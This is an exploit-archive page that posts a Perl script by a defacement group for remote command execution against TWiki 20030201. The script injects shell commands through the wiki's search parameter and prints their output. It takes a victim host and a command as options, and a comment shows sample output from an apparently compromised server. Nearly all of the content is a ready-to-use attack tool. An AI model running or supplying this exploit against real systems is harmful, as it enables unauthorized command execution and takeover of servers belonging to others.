what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

twiki20030201.pl.txt

twiki20030201.pl.txt
Posted Nov 8, 2005
Authored by rUnViRuS | Site worlddefacers.net

TWiki 20030201 VIEW string remote command execution exploit.

tags | exploit, remote
SHA-256 | ffd1fb66748fb194d52e0c5a6b688695dcb044946458aaff1efc4b59ca8671c9

twiki20030201.pl.txt

Change Mirror Download
#!/usr/bin/perl
#
# TWiki 20030201 VIEW string remote command execution

vulnerability
#
# Exploit coded by runvirus GeekZ[at]WorldDefacers[d0t]NeT
#
#
# [root@localhost perls]$ perl twikiview.pl -h www.victim.com

-p twiki/bin/view/TWiki/ -c "uname -a;id"
#
#
# -=[ TWiki :- view string remote command execution exploit

]=-
# -=[ Coded by rUnViRuS

]=-
# -=[ HOST:- www.worlddefacers.net www.secuirty-arab.com

]=-
#
# bash-2.05b --> uname -a;id
#
# Linux infong225 2.4.28-grsec-20050113a #1 SMP Thu Jan 13

08:59:31 CET 2005 i686 unknown
# uid=16704(u36561933) gid=600(ftpusers)
#
#

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
###################################################################

########################
use Net::HTTP;
use Getopt::Std; getopts('h:p:c:', \%args);


if (defined($args{'h'})) { $host = $args{'h'}; }
if (defined($args{'p'})) { $path = $args{'p'}; }
if (defined($args{'c'})) { $thecmd = $args{'c'};}else{$thecmd = "

uname -a;id";}
print STDERR "\n-=[ TWiki 20030201 VIEW string remote command

execution vulnerability ]=-\n";
print STDERR "-=[ HOST:- www.worlddefacers.net www.secuirty-

arab.com ]=-\n";
print STDERR "-=[ Coded by rUnViRuS

]=-\n\n";

if ((!defined($host)) || (!defined($path))) {
Usage();
}


print "bash-2.05b --> $thecmd\n\n";
my $s = Net::HTTP->new(Host => "$host") || die $@;
my $thecmd=URLEncode($thecmd);
my $count=0;
my $skip=0;
my $buf2;

my $exploit="?topic=doesnotexist1%27%3B+%28$thecmd%29+%7C+sed+%27

s%2F%5C%28.*%5C%29%2F__BEGIN__%5C1__END__.txt%2F%27%3B+fgrep+-i+-l

+--+%27doesnotexist2";
$s->write_request(GET => $path . "SearchResult?search=" .

$exploit, 'User-Agent' => "Mozilla/5.0");
my($code, $mess, %h) = $s->read_response_headers;

# ..,,;:: Procedura di parsing

while (1) {
my $buf;
my $n = $s->read_entity_body($buf, 1024);
die "read failed: $!" unless defined $n;
last unless $n;
$buf2 = $buf2 . $buf;
}
while (index($buf2,"__BEGIN__",$skip) != -1) {
$from = index($buf2,"__BEGIN__",$skip);
$count = $count +1;
$from = $from + 9;
$to = index($buf2,"__END__",$skip);
$skip = $to+7;
$chars = $to - $from;
$grab = substr($buf2, $from, $chars);
if (($grab ne $oldgrab) && ($count != 1)){
print "$grab\n";
}
$oldgrab = $grab;
}
if ( $count <= 1 ){
print "Host not vulnerable\n";
}

# ..,,;:: Procedura di encoding strarippata da snooq

sub URLEncode {
my $theURL=$_[0];
$theURL=~ s/([\W])/"%".uc(sprintf("%2.2x",ord($1)))/eg;
return $theURL;
}

sub Usage {
print STDERR "-=[ Options: twikiview.pl -h www.exmpl.com -p

]=-
-=[ -h Victim host .

]=-
-=[ -p Twiki path.

]=-
-=[ -c Command.

]=-\n\n";
exit;
}



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close